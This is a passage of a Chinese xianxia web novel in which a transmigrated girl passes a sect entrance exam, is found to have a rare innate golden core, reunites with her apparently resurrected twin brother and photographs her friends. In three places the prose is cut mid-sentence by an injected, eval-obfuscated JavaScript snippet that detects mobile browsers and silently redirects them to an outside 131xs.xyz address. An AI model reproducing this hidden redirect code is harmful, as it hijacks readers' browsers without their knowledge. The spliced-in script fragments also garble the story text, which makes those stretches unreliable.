她边往测试点那走边在心中暗想,那个人极有可能是哥哥。 他明明在十六岁那年就已经死了,可他现在就站在那里,眉眼间虽褪去了少年时的跳脱,添了几分沉稳,却依旧是她闭着眼都能描摹出的轮廓。 哥哥为什么会出现在这里?为什么会成了问剑峰的大师兄?这一切和她穿进这本书里到底有没有关系? 沈玄宁的脑子像被塞进一团乱麻,她有无数个疑问,但是她得不出任何一个回答,想敲系统问一问,它还是一如往常般地装死不言,她甚至抬手掐了自己一把,脸上传来的痛感清晰无比。 这不是梦。 沈玄宁深吸一口气,用力眨了眨眼将眼眶里的热意逼回去,现在不是失态的时候,当务之急她得先通过考核,拿到灵玉书简,他们是血脉相连的双胞胎,是曾经这世上最亲密的人,不管哥哥是因为什么样的原因出现在这里,她都要去找他。 她找到了对应的结界走了进去,里面摆着一块测试灵力的石碑,还有一位负责记录并且发放灵玉书简的师姐。 “这位师妹。”师姐抬头笑了笑,指了指石碑,“劳烦把手贴在这块灵石上,运转灵力即可完成灵力初考。” “好。”沈玄宁的掌心贴上冰冷的灵石,灵力刚一运转,石碑上便亮起一层柔和的白光,光晕慢悠悠地往上爬了爬,最终停在炼气初期的上。 沈玄宁心里一凉,想不到果然如此,下一秒她却看到灵石之上跳出两个金色的大字:通过。 “炼气初期……”那位师姐看到炼气初期就低头准备写了,写到一半突然突然顿住了,笔尖在纸上洇出个小小的墨点,她猛地抬头,瞪圆了眼睛看向石碑,又看看沈玄宁,一脸的不可置信,“通……通过了??” 师姐手里的毛笔啪嗒一声掉在地上,她顾不上捡就快步走到石碑前,反复确认了好几遍,才惊疑不定地看向沈玄宁:“师妹,你这……确定是炼气初期?” 沈玄宁也没想到炼气初期竟能通过,她点点头:“是,我确实修为尚浅。” “你如今年岁几何?” “十一岁。” “十一岁?十一岁……”她喃喃重复着往回走,眉头拧成了疙瘩,“这灵力分明就是刚突破炼气初期,哪怕只有十一岁也不可能通过的呀……难道是石碑出了问题?可前几个测试的弟子都正常啊……” 沈玄宁心里也打鼓,轻声问道:“师姐,可有不妥?” 这……”师姐犹豫了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132362|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“师妹,你且等我一会儿。” 师姐说完就从结界另一头出去了,没等多久,她就回来了。 只是这次身后还跟着个人,竟是逍遥宗宗主鹤游。 “掌门师伯,就是这位。” “就是这位小友吗?”鹤游笑眯眯地进来,目光先落在石碑上,石碑上的光晕确实是停留在炼气初期,他转向沈玄宁抬手问道,“不知道小友是否介意老夫探查一下你的灵力修为?” 沈玄宁心里一惊,面上却不敢显露,连忙躬身行礼:“弟子不敢,愿听宗主安排。” 不会真是因为穿越的,被她们查出什么来了?系统总不至于会犯这种低级错误吧! “好。”鹤游抬手,指尖凝聚起一缕极淡的灵力,轻轻点在她的眉心。 她屏住呼吸,只听耳边传来鹤游子极轻的一声“咦”。 下一秒鹤游眉头猛地蹙起,脸上的表情彻底僵住,全是毫不掩饰的震惊,他像是在反复确认什么,沈玄宁也跟着万分紧张起来。 鹤游的眼神却忽然亮了,嘴角不受控制地扬起,他收回了手,也收敛了神情。 “好了。” 沈玄宁被他这一连串的表情变化惊得心头乱跳,不用想也知道自己的修为肯定是有问题。 鹤游倒是没有说什么,他拿过那位师姐手里的灵玉书简递给了沈玄宁:“小友,恭喜你了。” “多谢宗主。” 看来是没什么大事儿,确实是通过了考核。沈玄宁松了一口气,攥着灵玉书简走出结界时,没想到赵琳琅和曲新梨早已在出口处踮脚张望,两人脸上满是掩饰不住的焦急。 “怎么样?阿宁!阿宁!”曲新梨率先迎上来,声音里带着紧张的颤音,“有没有……” 沈玄宁缓缓摊开了手,掌心里的灵玉书简光华流转。 “过了!过了!!太好了!!”曲新梨一把抓住她的胳膊又蹦又跳,兴奋得脸颊通红,“刚才看你进去那么久,我跟琳琅都快急死了!” 沈玄宁被她晃得胳膊发麻,反手拍了拍她的手背:“你们如何?” 她这话刚问出口,曲新梨的神色一僵,抓着沈玄宁胳膊的手也松了松,眼神躲闪着,有些为难地看了一眼旁边的赵琳琅。 沈玄宁心里咯噔一下,顺着她的目光看向赵琳琅。 看到沈玄宁和曲新梨的表情都变得难看起来了,赵琳琅立刻摆了摆手扯出个笑容,声音却尽量放得轻快:“好了好了,你们俩都过了,这可是大好事,快别在这儿磨蹭了。” “快去参加第二考吧。”她抬手替沈玄宁理了理被风吹乱的鬓发,又拍了拍曲新梨的手背,“一定要考进内门啊。等你们成了内门弟子,就是真正的仙人了,我以后可就靠你们俩了。” “琳琅……”曲新梨眼圈有些红了,想说什么,却被赵琳琅笑着打断。 她冲着二人挤眉弄眼:“快去呀,再不走真要来不及了,要不多考几个地方算了,说不准哪个峰主看走眼,还能捡个漏呢?” “还捡漏呢,哪有这么美……”曲新梨被她逗得一笑。 只是继续磨蹭下去,确实也没什么用。 曲新梨只能和沈玄宁对视一眼,一步三回头地走了,她匆匆奔向百灵峰的考点,转身时又忍不住回头看了一眼沈玄宁的背影。 她们分别后的沈玄宁去的方向竟然是—— 问剑峰。 14.天生金丹 第一关灵力初考的人潮如织,这到了第二关人数立马骤减,看来这第一关筛掉的人还真的不少。 沈玄宁不知道其他考点的情况如何,但是问剑峰这里真是排起长龙了。 不过队伍虽长,移动速度却快得惊人,前一个弟子刚走进考核结界,不消片刻便是垂头丧气地出来了,前后不过一炷香的功夫,就轮到了她。 她迈步踏入问剑峰设立的结界,结界内光线略暗,因为一根三丈高的玄铁柱矗立在中央挡了不少的光,柱身漆黑如墨,布满了深浅不一的剑痕,最浅的仅如发丝轻扫,最深的也不过半寸。 沈玄清就坐在不远处的石桌后,低头拿着一本书在看着什么。 虽说来问剑峰的目的就是想着也许会碰上他,可当这张脸再度真切地出现在她眼前时,沈玄宁还是忍不住呼吸一滞,连带着指尖都开始发颤。 “沈玄宁?” 沈玄清叫她名字时头也没抬,声音隔着几丈远传来,没有半点温度,像在念一个完全陌生的名字,好似他们之间那十六年的血缘羁绊,是她旧事前尘的一场梦。 她呆愣愣地看着对方,半晌都没回话。 倒是旁边站着的红衣师姐听到这个名字时,挑了挑眉,侧身拍了拍沈玄清的胳膊,笑道:“小师妹这个名字,还真是巧。听着不光像我们问剑峰的弟子,倒更像你妹妹呢。” 哦,是了。 沈玄宁后知后觉地想起,这一代问剑峰的弟子都是玄字辈。 她的名字确实和问剑峰的字辈很相配,眼前这位红衣女子容色昳丽,笑声爽朗,按描述应该就是问剑峰排行第二的女弟子,莫玄春。 沈玄清对莫玄春的打趣没什么反应,只是见沈玄宁半晌不答话,才终于抬起头看向她。 四目相对的瞬间,沈玄宁清晰地看到他眼底的平静,那是一种全然的陌生,没有丝毫波澜。 沈玄清又冷着声问了一遍:“沈玄宁,是吗?” 哥哥从来没用这种冷冰冰的语气跟自己说过话,沈玄宁莫名有些委屈,终于小声应了一句:“是……” 沈玄清淡淡颔首:“开始吧。” “师妹别介意,他就这死样子,不是对你有意见。”莫玄春笑着指了指旁边兵器架上的一排木剑:“你可自己带了剑?若是带了的话是不能用的哦,只能用这统一的木剑,不必紧张,用剑砍上这玄铁柱一下,这测试就算完成了。” “是,我知道了,多谢莫师姐。”沈玄宁应声,伸手拎起一柄木剑掂了掂,剑身轻飘,材质普通,显然是特意为测试准备的,像是凡世小孩儿玩的玩具木剑。 这样一看,季时雨先前透的考题根本不准。 小木剑承载不了太汹涌的灵力,若是真的拼命调动全身的灵力,别说留下剑痕了,只会把剑给毁了。 想来真正的关键,是要将灵力压缩成凝练的剑气,既能穿透玄铁柱的坚硬表层,又不能因灵力过猛毁了手中的木剑。 柱身那些深浅不一的剑痕,最深剑痕边缘光滑,显然是用凝实的剑气劈开的,而那些浅如发丝的痕迹,自然就是没有控制好灵力留下的败笔。 沈玄宁指尖在剑柄上轻轻摩挲,脑子里竟是自然而然地想到了该如何去控制灵力。 莫玄春见她神色沉静下来,便问道:“准备好了?” 沈玄宁点头,握紧木剑,灵力在经脉里反复流转,一点点压缩、提纯,最终在剑尖凝成一缕几乎看不见的淡白色剑气。 她手腕轻抖,木剑带着一道极细微的破空声,直接在玄铁柱正面一处剑痕交错的地方一划。 没有什么惊天动地的巨响,只有“叮”的一声轻响。 木剑稳稳收回,剑身完好无损。 刚才划过的地方,只留下一道浅浅的剑痕,细得像蛛丝,不凑近了眯眼细看,几乎难以发现。 沈玄清抬眼扫了那玄铁柱一眼,神色淡漠如旧,道:“嗯,回去吧。” “是。”沈玄宁握着剑柄的手紧了紧,把木剑摆回了兵器架上以后朝着莫玄春一拜便出了结界,临走前她又忍不住回头看了一眼,沈玄清依然低着头,墨色的发丝落在额前,遮住了眼底的情绪,自始至终没有再抬头看她一眼的意思。 结界的光幕缓缓合上,隔绝了内外的光影。 沈玄宁没看到的是,就在她刚才划中的位置,竟有一道银亮的细线在缓缓蔓延,那不是表层的剑痕,而是一道嵌在柱身里的裂缝,正像活物般顺着柱面游走,悄无声息地绕了一圈,恰好将玄铁柱拦腰斩断,却又因缝隙极细,使得上下两部分依旧严丝合缝地拼合着,远看就像一道银线环绕了整个柱身,不细看竟发现不了这铁柱早已断成两截。 沈玄清走到玄铁柱前,修长的手指轻轻抚上那道银线,指尖触及处,能清晰感觉到上下两截铁柱的微妙错位,只是被那道细缝死死咬合着,才没轰然倒塌,半晌他将手收回,转身看向莫玄春,语气依旧没什么起伏。 “换一根柱子吧。” 深夜,坐忘峰主殿。 殿内空中悬浮着上百枚灵玉书简,接连亮起后照得整个大殿如白昼一般,此刻逍遥宗九大峰主齐聚,各自端坐于青玉案后,目光时不时掠过那些悬在空中的玉简。 迟非晚斜倚在椅背上,很没形象地把垂在肩头的流苏往后一甩,她抬头望了望,第二排的三枚灵玉书简都已金光大亮,最顶上这枚依然是黯淡无光。 “晚晚!这个不能甩到后面去。”坐在旁边的素问峰主连忙起身,小心翼翼地将她散落的发丝拢好,又把流苏重新搭回她肩头,“也就这两日,你且稍微注意些!” “我知道了,师姐。”迟非晚撇撇嘴,抬手拨了拨流苏,“只是这东西实在是累赘得很,晃来晃去都打我脸好几回了,我又不是曲无忧。” 坐在对面的曲无忧闻言,无奈地叹了口气:“师妹,不要骂了。” “东方既明,皇家七子。”方不夷指尖捻着一枚刚亮起的灵玉书简,他低头看了看后道,“选了玲珑峰。” “哦?”素问给迟非晚整理衣服的手微微一顿,“那就收下吧,拜在我门下好了。” 迟非晚嗤笑一声:“皇家的人,历来都是打着修行的幌子查探虚实,庙堂与仙门自古两不相干,他们日日跟防贼似的,这算计来算计去的也不晓得有什么用。不过这小子倒是很有意思,竟然不是要拜在掌门师兄门下?” 曲无忧挑了挑眉道:“师妹你这话好狭隘啊,人家不能是真心来修行的吗?” 迟非晚也不回答,直接抬手,灵力凝实成一个金灿灿的大拳头,咚地一下敲在了曲无忧的头上。 “哎哟!”曲无忧连忙捂着额头往后躲,连连告饶:“好好好!我错了我错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141181|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……师妹饶命!” 迟非晚颇有些嫌弃地瞥了他一眼,正要收回手,眼角余光却瞥见空中最顶端那枚始终黯淡的灵玉书简,竟毫无预兆地亮起,金光瞬间压过了殿内所有玉简的光芒,成了整座大殿最夺目的存在。 她抬手对着那枚玉简轻轻一招,那玉简应召落到了她手里。 迟非晚看了一眼,随即抬眼看向主位上正慢条斯理品茶的鹤游,扬了扬手里的玉简:“掌门师兄,这下你可放心了。” “放心什么?”曲无忧奇道,“掌门师兄,你们又在打什么哑谜?这是谁的灵玉书简?” 迟非晚把玉简往怀里一拢,道:“没你的事儿。” 曲无忧道:“师妹,你这就不够意思了,给师兄看看嘛!什么了不得的小弟子还这么护着。” 两人正拉扯间,坐在角落的韩知止喝了口茶,忽然出声问道:“天生金丹,选了哪儿?” “什么天生金丹?”曲无忧的手猛地一顿,也不去闹迟非晚了,转头震惊地看着韩知止,“这批弟子里有天生金丹?” “你不是还去外门看她了?竟然一点都没看出来?”迟非晚翻了个大大的白眼,“这么多年了,就你一个还在化神期晃悠,也不嫌丢人!我看再过个百年她的修为迟早追上你,你就收拾收拾把峰主的位置让给她坐。” “我什么时候去看……”曲无忧下意识地反驳,话说到一半却猛地顿住,“是那个炼丹的小丫头?她炼气初期的修为竟是因为……” “不错,就是她。”鹤游突然哈哈一笑,神色间难掩得意,“天生金丹,万中无一的根骨,不用渡雷劫金丹便已在丹田内凝结,且吸纳天地灵气速度都是一般修士好几倍。往后只需稳步修炼,待灵力充盈,瓶颈自破,便能水到渠成晋入金丹之境,不过未达金丹之前这面上的修为会一直停留在炼气初期。” 素问道:“古籍有载,天生金丹是天地灵气所凝,五百年内只会出现一个,这是天大的福泽,但也藏着灭顶的祸事。金丹初成时,灵力会如海啸般冲击经脉,稍有不慎便会爆体而亡,若是扛不下来,那便是魂飞魄散的下场。这小弟子……如果测出来的修为没错的话,她起码八岁便已觉醒灵力,八岁的孩童,竟能扛过那样的灵力冲击?” “上一个天生金丹,是碧霞仙居的蕴灵仙子,五百年过去了,她已晋入大乘之境。”叶守柔接过话头,“蕴灵金丹初成之时,碧霞仙居靠着多少天材地宝才让她抗了下来,这小姑娘,什么都没有,八岁觉醒还能安然活到现在甚至平稳进阶,简直不可思议,她的灵魂之力到底该有多强?” 曲无忧:“……” 他道:“所以我现在还能收她入我门下吗?” 迟非晚道:“你在做什么梦?天生金丹让你教那得给教成什么样啊!” 素问的语气带了几分郑重:“这弟子,我等确实教不了,怕是只能交给掌门师兄或者明师兄了,所以她究竟选了何处?” 话音刚落,一直沉默端坐于左侧首位的明净忽然抬眼,这位今日白天都未曾现身的问剑峰峰主,此刻神色虽平静,眼底却藏着一丝微不可查的紧张,他问道:“非晚,她选了什么?” 迟非晚的指尖在手中玉简上轻轻一弹,那枚玉简便挣脱她的掌心,缓缓浮到大殿中央,金光大盛。 待看清了上面的字,鹤游的眉头一挑。 15.大考榜首 大考的结果需要第二天才出,沈玄宁忐忑了一晚上没睡着。 这是她第一次晚上没有修炼,平躺在床上就这么躺过了一夜,一大早顶着两个黑眼圈出现在了外门食堂,不管怎么样早饭还是要吃的。 今天林大厨又做了沈玄宁最喜欢的鸡丝汤面,若是这次考不中,她就得下山自行修炼了,往后怕是再吃不上林大厨做的面了,想到此沈玄宁端过碗时,轻声道了句:“多谢爷爷。” 林大厨是个心软的老头,老人家都是免不了俗地偏爱讨喜的小辈,沈玄宁恰恰占全了。 她年纪小,生得十分可爱,最关键是胃口好得惊人,一顿饭能吃好几碗,吃完抹抹嘴,又连连夸林大厨做的饭菜好吃,直把林老头宁哄得眉开眼笑,平日就没少偷摸给她塞好东西吃。 此刻见她蔫蔫的,林大厨问道:“小丫头,怎么这么没精神?今天可是有你最喜欢的鸡丝汤面,你今天吃几碗呀?” 今天精气神不佳,沈玄宁还没吃就觉得胃里沉甸甸的,怕是只能吃下这一碗了。 “谢谢爷爷,先就这一碗就行了。” “怎么了,昨日考的如何?这灵玉书简可有拿到?” “拿到了。” “拿到了就行,爷爷瞧你一定行,放心吧!” “谢谢爷爷。” 季时雨路过瞧见她这大黑眼圈,这么久都没和沈玄宁说过话的他竟然忍不住出声嘲讽了一句:“哟,鬼故事讲多了,这是半夜被鬼敲门了?” 沈玄宁正心烦意乱,连眼皮都没抬一下,低头继续吃面,只当耳边是狗叫。 季时雨却是觉得逮着机会找回场子了继续刻薄道:“怎么?在这外门当了三年的说书先生,到了真正要大考的时候,终于知道自己几斤几两了吗?” 他往前挪了两步,不依不饶地在沈玄宁对面的位置上坐下了:“别不会……连灵玉书简都没拿到吧?也是,小爷瞧着你就不是什么修仙的料子,三年了还是个炼气初期,还想进内门?” 曲新梨终于是忍不住了,道:“季师兄,今日就出大考排名了,何必那么心急呢,师兄半路进门又如此得意,想必要得榜首了吧?”她也出身于仙门世家,倒是不那么怕季时雨。 “阿梨,不用理他。”沈玄宁翻了个白眼,端着面碗换了个方向坐下。 吃过早食以后沈玄宁和其他人一起去了外门广场,今日要公布大考排名,此时的广场已是人声鼎沸,人群围得是里三层外三层,虽然大部分弟子在前两轮考核中已被淘汰,但按照宗门规矩,他们可以留下观礼第三轮的拜师仪式。 通过了前两轮考核的弟子,被自己灵玉书简上填写的主峰收下后,会有第三轮的拜师仪式,到时候会决定是拜入峰主门下还是长老门下。 此刻沈玄宁回想起自己在灵玉书简上写的东西,她又是万分后悔。 冲动!实在太冲动了! 这就跟高考填报一样,还是孤注一掷的唯一志愿,连个调剂都没有,滑档了就真没了! 本来过了灵力初考,直接去栖霞峰就行了,自己这作死的一手,万一考不上连栖霞峰的保底都捞不着了。 赵琳琅察觉到从昨天大考开始沈玄宁就一直心神不定,她悄悄拉了拉沈玄宁的衣角:“宁宁,你在灵玉书简上填了什么?” 沈玄宁的目光看向高台,今日问剑峰的峰主还是没有出现,代替他出现的依然是沈玄清和莫玄春。 “宁宁?”赵琳琅见她走神,又轻轻唤了一声。 沈玄宁嘴唇快速蠕动了一下,回答的声音也很低。 “……什么?”赵琳琅以为自己听错了,“你说你填了哪儿?” 她被震惊得下意识地拔高了音量,引得周围几位弟子侧目,赵琳琅连忙捂住嘴,把声音压得更低,语气里满是不可置信:“宁宁你疯了?” 曲新梨没有听到,她看到赵琳琅激动的反应也凑了过来:“阿宁,你填哪儿了?” 沈玄宁又重复了一遍。 曲新梨:“……” 赵琳琅还想再说些什么,天空中忽然亮起一道巨大的光幕。 广场上瞬间安静下来,所有人的目光都被那道光幕吸引。 紧接着,字迹开始浮现。 排在最顶端的,是一行刺目的金光。 内门大考,榜首! 第一名,沈玄宁,筑基大圆满 ,问剑峰。 死寂过后,广场彻底炸开了锅。 筑基期大圆满!逍遥宗内门大考,还从未出现过如此接近金丹修为的弟子,认识沈玄宁的人已经傻眼了,不认识的正在交头接耳四处打听这名弟子到底是哪个仙门世家出来的。 赵琳琅的话卡在喉咙里,嘴巴微张,半天没合上,她死死盯着光幕顶端的名字,又猛地转头看向身边的沈玄宁。 是的,沈玄宁填了问剑峰,而且还真的让这多少年都没收过弟子的问剑峰把她给收下了。 曲新梨讷讷地重复:“筑基……大圆满?” 沈玄宁自己也没有回过神来,自己的修为什么时候成了筑基大圆满了?而且她竟然真的进了问剑峰,还没来得及高兴。 下一秒,她就看到了陆远声的名字,见了个大鬼了,后面跟着的竟不是问剑峰! 第一名,沈玄宁,筑基大圆满,问剑峰。 第二名,陆远声,炼气大圆满,符天峰。 第三名,谢疏言,炼气大圆满,栖霞峰。 第四名,鹤 穗,炼气大圆满,符天峰。 第五名,东方既明,炼气后期,玲珑峰。 ……… “你怎么没考问剑峰!”沈玄宁猛地转头一把抓住了陆远声的胳膊,“怎么会是符天峰了?你不是要考问剑峰的吗??” 怎么会,跟原著不一样了? 而且就连鹤穗的也变了,跟陆远声一样变成了符天峰。 陆远声有些无奈道:“我几时说了我要考问剑峰了?倒是你,不是说要和少爷一起考栖霞峰?” 沈玄宁:“……说来话长,总之我现在很难跟你解释。” 陆远声:“那你长话短说。” 沈玄宁提了一口气,刚要开口,元清已站在最前方的圆台之上,笑道:“沈师妹,请上前吧,完成拜师仪式!” 她只能应了一声先上前。 但是—— 我请问呢!拜师拜师,师又在哪里! 好高冷的师尊,这种时候都不来吗! 元清道:“恭喜沈师妹拜入明净师叔门下,只是明净师叔如今正在闭关不便前来,今日的拜师仪式由他座下大弟子玄清代替完成。” 见沈玄宁还是呆站在原地不知道干些什么,元清用只有两人能听到的声音提醒道:“沈师妹,行礼。” “哦哦,行礼行礼。” 沈玄宁闻言立刻跪了下去,看着沈玄清走到她的面前才恍然回神,额头触地深深一拜:“弟子沈玄宁,拜见师尊。” 沈玄清一直拎在手里的剑,此刻被他平举到她面前。 “师尊虽在闭关不便前来,但他也为你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145253|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备了拜师礼。” 沈玄宁直起身茫然地伸手接过,指尖抚过冰凉的剑鞘,越看越觉得有点眼熟。 她猛地想到了原著中的一段描述。 【此剑鞘以千年寒铁为骨,覆以极品镇白玉,玉面上刻着繁复的云纹,丝丝缕缕缠绕着剑鞘一周,剑格处盈蓝色的莲花栩栩如生。】 这剑跟描述一模一样啊,她下意识地握住剑柄,轻轻往外一拔—— 【剑身修长如泓,泛着凛冽的寒光,剑刃近柄处刻着此剑剑名。】 ——破妄! 沈玄宁捧着剑不可思议地抬头看向沈玄清,说话的声音都有些发颤,“这、这真的是……拜师礼吗?” 破妄剑! 与破邪枪、破厄扇一同出自修真界人人敬仰的神兵大家董筠之手,破妄剑更是董大家晚年的巅峰之作,位列当世十大神兵之首,为逍遥宗问剑峰峰主明真子的佩剑。 场下瞬间掀起惊涛骇浪,惊呼声、抽气声此起彼伏,几乎要掀翻整个广场。 “莲花剑格,云纹剑鞘,真的是破妄剑!” “我的天哪!明真子疯了?竟然把这天下第一的神兵送人了?还是个只有筑基修为的小弟子?” “这小弟子什么来头,小小年纪筑基期大圆满,入了问剑峰就罢了,还得明真子如此看重。” …… 沈玄清迎着满场的哗然和沈玄宁震惊的目光,神色依旧淡漠如昔,仿佛只是给出了一柄寻常的仙剑:“嗯,谢师恩吧。” “弟子玄宁,深谢师恩。”沈玄宁再次叩首。 沈玄清又从袖中取出一枚玉牌递给了她,玉牌上龙飞凤舞地写着问剑峰三个大字。 这既是内门弟子的身份认证,也是出入内门阵法的通行令,同时内里蕴含的灵力,也可以作为一个储物空间使用。 沈玄宁双手接过玉佩,小心地系在腰间,拜师仪式便算完成,她退到了台下。 周围炽热的目光都是盯着沈玄宁怀里抱着的剑,当世第一的神兵破妄,谁都想近距离看一看,但是九峰峰主都在,倒是没有人敢这样失礼围上去。 沈玄宁侧身时正好撞上谢疏言的目光,他就站在一旁半步的距离,见她望过来,谢疏言微微颔首:“恭喜。” “也恭喜谢师兄。” 栖霞峰的曲无忧,和谢疏言倒是合适得很,二人都生得这般好看,当一对师徒应当是十分养眼。 季时雨站的也不远,此刻他的脸色一阵青一阵白,彻底没了之前的嚣张气焰,他看着站在最前方的沈玄宁,又看了看她怀里的破妄剑,默默后撤了几步,他现在真是想离得越远越好,省得被沈玄宁瞧见后讥讽他,可是他的拜师仪式还没完成,只能在这里等着。 接下来,榜单上的弟子们按着排名依次上前行礼完成拜师仪式。 前十名都是拜在了主峰峰主门下成为了亲传弟子,十名之后的其余弟子则拜入旁系长老门下,虽不是峰主亲传,但考入内门足以让他们高兴了。 曲新梨和赵吉利两个人分别如愿拜入了百灵峰和玲珑峰,而沈玄宁也终于在这拜师仪式上见到了本书的女主角,逍遥宗宗主之女,鹤穗。 虽然鹤穗如今年岁还小,但已经可以窥见日后绝色大美人的影子,她实在想象不出这大美人以后会怎么样变成一个跟陆远声纠缠不休的恋爱脑。 这一届的内门大考至此也算彻底结束了。 成为内门弟子的自然是收拾东西到各自所属峰去报道,没通过的外门弟子则要下山开始各自修行。 16.留作纪念 所有拜师仪式都结束后,莫玄春特意拉着沈玄宁交代了稍后会来接她去问剑峰的时间,又不动声色地替她挡开了不少前来道喜、实则好奇打探的同门,这才让她得以脱身。 沈玄宁揣着满肚子的疑问往宿舍的方向走,刚转过外院的月亮门,就看见凉亭里坐着几道熟悉的身影 “阿宁来了!”曲新梨眼尖,第一个看到她,立刻从石凳上蹦起来,朝着她用力挥手。 沈玄宁加快脚步走过去,刚走到凉亭边,还没来得及坐下果不其然就遭到了盘问。 “阿宁!你那个修为是怎么回事?!”曲新梨的眼睛瞪得溜圆,“我的天哪!大考榜首啊!筑基期大圆满,阿宁你吃什么灵丹妙药了!几天功夫你竟然比陆师兄的修为都高了一个境界!” 陆远声站在一旁抱着胳膊看着沈玄宁,眉梢微挑,眼里也是疑问,前几天看她的修为确实是炼气初期,一场大考下来,竟直接跃过炼气期,一步踏入筑基大圆满? 这般修炼速度,别说逍遥宗,便是纵观整个修真界,也闻所未闻。 “这我真不知道啊。”沈玄宁挠挠头,也是在状况之外的茫然:“我能说我昨天去初考的时候测出来还是炼气初期吗?我也不知道这最后怎么给我写的是筑基期大圆满啊,难道是那个石碑坏了?” “要不试试?”曲新梨抬起手掌朝着沈玄宁,“你来跟我对一掌。” “这也行?”沈玄宁将信将疑,但还是依言照做灵力运转和曲新梨对上,但就这轻轻飘飘的一下,曲新梨像是被无形的力量狠狠推了一把,整个人踉跄着往后退了好几步。 曲新梨:“……我信了。” 陆远声忽然也抬起了手看向沈玄宁,眼神示意了一下。 沈玄宁:“……” 她嘴角忍不住抽了抽,干什么,挨个讨打啊? “别闹了!”她没用灵力,一巴掌拍在了陆远声的掌心然后在石桌旁边坐了下来,她抬头看了一眼坐在一旁浅浅笑着看他们胡闹的赵琳琅。 赵琳琅没能通过考核,按照逍遥宗的规矩,她必须下山了。 沈玄宁的脑袋立刻耷拉了下来:“琳琅,我舍不得你。” 曲新梨闻言也瞬间蔫了下来,方才的兴奋劲儿消失得无影无踪,眼圈又红了,赵吉利更是泪眼汪汪:“阿姐……你下山了以后,要照顾好自己,好好照顾爹娘,我会找机会回去看你们的……” 他从小就跟着赵琳琅,从没有分开过,心里最是难受。 虽说按照宗门规矩,以后还能再考,可赵琳琅的资质摆在那里,这三年的修炼已是勉强,众人心里都清楚,之后没了外门这般扶持着修炼,她的修为怕是再难有什么精进了,更别提考上内门,往后最好的结果也不过是筑基,那也得是撞上什么大机缘才行。 “以后也不知道什么时候还能再见了。”赵琳琅忍着泪意,抬手摸了摸沈玄宁的脸,“宁宁,我也舍不得你,让我再看看你……” “会再见的!”沈玄宁猛地抓住她的手,“我肯定会去看你的!琳琅你放心,你要是想我了你就……” 话音刚落,她像是突然想起了什么,借着锁灵囊的遮掩地从系统空间里摸出了一个拍立得相机,前段时间她摆弄东西的时候发现,系统空间刷新物资,这相机的电量和相纸竟然也是每日刷新的。 “这个。”沈玄宁举起相机,对着一脸茫然的赵琳琅,“我给你留张相片。” “相片?”曲新梨连忙擦了擦眼泪,凑过来看,眼睛瞪得圆圆的,“这是什么法宝?长得好生奇怪……” “是……是别人送我的法宝。”沈玄宁顿了顿,含糊地解释道,“说是能把人影留下来,想的时候拿出来看看,就像见到真人一样。” 今天问剑峰的那位连破妄剑都给了,一个没有攻击力的小法宝,更没有人会在乎是哪来的,一切都只会归咎到问剑峰那边。 赵琳琅看着那方方正正的小匣子,迟疑道:“这……能留下人影?” “对!正好!我多拍两张,我们一人一张留着做纪念。”反正都拿出来了,正好趁着如今大家都还在一处拍个照片,沈玄宁扬了扬手里的相机,“谢师兄,阿声快站过来一些。” 陆远声:“你这个……” 沈玄宁:“信我,马上出片。” 她指挥着众人排好队形,自己站在正中间,让谢疏言站在左手边,陆远声挨着他,赵琳琅、曲新梨和赵吉利则在右手边依次排开。 “再靠近一点。”沈玄宁用灵力控制着拍立得悬浮在众人面前,“然后看中间那个黑色的圈圈,对,眼睛盯着看,别眨眼啊!” “比个手势,像我这样。”沈玄宁举起双手,在脸旁比了两个俏皮的耶,其他人也学着她的样子有些僵硬地把手摆在了脸侧。 “三,二,一!” 沈玄宁弯了弯手指隔空一点,灵力按下快门。 “咔嚓——” 一张相纸缓缓从相机里吐出,沈玄宁取过相纸贴在手心里捂了一下,不过片刻,上面便清晰地浮现出众人的身影。 “这真的跟你一模一样呢,宁宁。”赵琳琅伸出指尖轻轻摸着相纸上沈玄宁的笑脸,她的眼泪又不争气地掉了下来,却咧着嘴笑出了声,“真好,以后看到这个,就像看到你一样。” “这比画像还真!还这么快!”曲新梨惊呼出声,伸手想碰又怕弄坏,“阿宁,这能给我一张吗?” “当然能了,多拍点,一人一张。”沈玄宁站回了原位,又连着拍了好几张,相纸一张张吐出来,她分发给几人,只是刚出来的相纸还是黑漆漆的一片,尚未显影。 曲新梨捏着自己那张黑黢黢的相纸问道:“阿宁,这怎么是黑的?你这法宝坏了?” “别急。”沈玄宁把最后一张相片抽出来递到了谢疏言手里,拉过他的手给曲新梨演示道,“你这样,把这个放在手心里,两手交握,贴着两边。” 她把相纸轻轻放在他手掌心,又拉过他的另一只手,让他双手交握,将相纸严严实实地贴在中间。 